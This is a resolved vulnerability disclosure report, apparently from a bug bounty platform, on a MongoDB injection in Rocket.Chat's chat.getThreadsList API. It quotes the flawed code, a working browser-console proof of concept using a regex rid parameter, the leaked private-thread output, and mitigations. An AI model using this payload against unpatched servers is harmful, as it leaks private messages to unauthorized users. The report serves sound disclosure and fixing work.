API route chat.getThreadsList leaks private message content
Team Summary
Official summary from Rocket.Chat
## Summary The `/api/v1/chat.getThreadsList` does not sanitize user inputs and can therefore leak private thread messages to unauthorized users via Mongo DB injection. ## Description The `chat.getThreadsList` API route is defined in [app/api/server/v1/chat.js#L522-L572](https://github.com/RocketChat/Rocket.Chat/blob/50d55d7a11c35893483b5561131486bd8b6bad7f/app/api/server/v1/chat.js#L522-L572): ```javascript const { rid, type, text } = this.queryParams; const { offset, count } = this.getPaginationItems(); const { sort, fields, query } = this.parseJsonQuery(); if (!rid) { throw new Meteor.Error('The required "rid" query param is missing.'); } if (!settings.get('Threads_enabled')) { throw new Meteor.Error('error-not-allowed', 'Threads Disabled'); } const user = Users.findOneById(this.userId, { fields: { _id: 1 } }); const room = Rooms.findOneById(rid, { fields: { t: 1, _id: 1 } }); if (!canAccessRoom(room, user)) { throw new Meteor.Error('error-not-allowed', 'Not Allowed'); } const typeThread = { _hidden: { $ne: true }, ...(type === 'following' && { replies: { $in: [this.userId] } }), ...(type === 'unread' && { _id: { $in: Subscriptions.findOneByRoomIdAndUserId(room._id, user._id).tunread }, }), msg: new RegExp(escapeRegExp(text), 'i'), }; const threadQuery = { ...query, ...typeThread, rid, tcount: { $exists: true } }; const cursor = Messages.find(threadQuery, { sort: sort || { tlm: -1 }, skip: offset, limit: count, fields, }); const total = cursor.count(); const threads = cursor.fetch(); return API.v1.success({ threads, count: threads.length, offset, total, }); ``` Clients can provide JSON data in Query Parameters: ```javascript const { rid, type, text } = this.queryParams; ``` The ACL check is performed against the first room returned by Mongo DB: ```javascript const room = Rooms.findOneById(rid, { fields: { t: 1, _id: 1 } }); if (!canAccessRoom(room, user)) { throw new Meteor.Error('error-not-allowed', 'Not Allowed'); } ``` After the access permission check, the original `rid` parameter is again provided as Mongo DB query input, but unlike the ACL check can return multiple results: ```javascript const threadQuery = { ...query, ...typeThread, rid, tcount: { $exists: true } }; const cursor = Messages.find(threadQuery, { sort: sort || { tlm: -1 }, skip: offset, limit: count, fields, }); ``` An authenticated adversary can provide an input that matches to multiple rooms of which the first match can be read by the malicious user. MongoDB will return the results in storage order, so that the channel that passes the ACL check must have been created before the target. For demonstration purposes the `GENERAL` channel was used: ```javascript const TARGET_ROOM = "<ROOM_ID>"; const fetchApi = async (url, options = {}) => { return fetch(`/api/v1/${url}`, { ...options, headers: { 'X-User-Id': Meteor._localStorage.getItem(Accounts.USER_ID_KEY), 'X-Auth-Token': Meteor._localStorage.getItem(Accounts.LOGIN_TOKEN_KEY), 'Content-Type': 'application/json', ...(options.headers || {}) } }).then((res) => res.json()) .then((data) => { console.log(data); return data; }); }; fetchApi("chat.getThreadsList?rid[$regex]=GENERAL|${TARGET_ROOM}").then(console.log) ``` The object printed to the console has the secret message included in the `threads` property: ```json { "threads": [ { "_id": "7sJLzbjDL7iL56Lmc", "rid": "YkJAwxJHe5t7BWimY", "msg": "secret message", "ts": "2022-01-11T12:26:20.603Z", "u": { "_id": "kYfzDMQLyPFjS9ASb", "username": "gronke", "name": "gronke" }, "urls": [], "mentions": [], "channels": [], "md": [ { "type": "PARAGRAPH", "value": [ { "type": "PLAIN_TEXT", "value": "secret message" } ] } ], "_updatedAt": "2022-01-11T12:45:40.086Z", "replies": [ "kYfzDMQLyPFjS9ASb" ], "tcount": 1, "tlm": "2022-01-11T12:45:39.971Z" } ], "count": 1, "offset": 0, "total": 1, "success": true } ``` For comparison it is not allowed to read the message directly: ```javascript >>> Meteor.call("getMessages", ["7sJLzbjDL7iL56Lmc"], console.log) { "isClientSafe": true, "error": "error-not-allowed", "reason": "Not allowed", "details": { "method": "getSingleMessage" }, "message": "Not allowed [error-not-allowed]", "errorType": "Meteor.Error" } ``` ## Releases Affected: * develop The change was introduced in [#7632f12c](https://github.com/RocketChat/Rocket.Chat/commit/7632f12cfcc7ed8ee8f843587fdff63b101cc765) and did not land in a release yet. Previous versions appear to be affected in a similar way, but within the `query` parameter instead of `rid`. ## Steps To Reproduce (from initial installation to vulnerability): 1. Create a thread in a private room between users Alice and Bob 2. Login as Trudy 3. Leak Alice and Bobs private Room ID (not discussed here) 4. Query `/api/v1/chat.getThreadsList?rid[$regex]=GENERAL|${TARGET_ROOM_ID}` ## Supporting Material/References: * List any additional material (e.g. screenshots, logs, etc.) ## Suggested mitigation * Strictly verify input parameter type. * Use the ROOM ID returned for ACL verification in the final query. ## Impact Authenticated users can leak thread messages from private rooms they should not have access to. ## Fix Fixed in version 5.0>
Report Details
Additional information and metadata
State
Closed
Substate
Resolved
Submitted
Weakness
Information Disclosure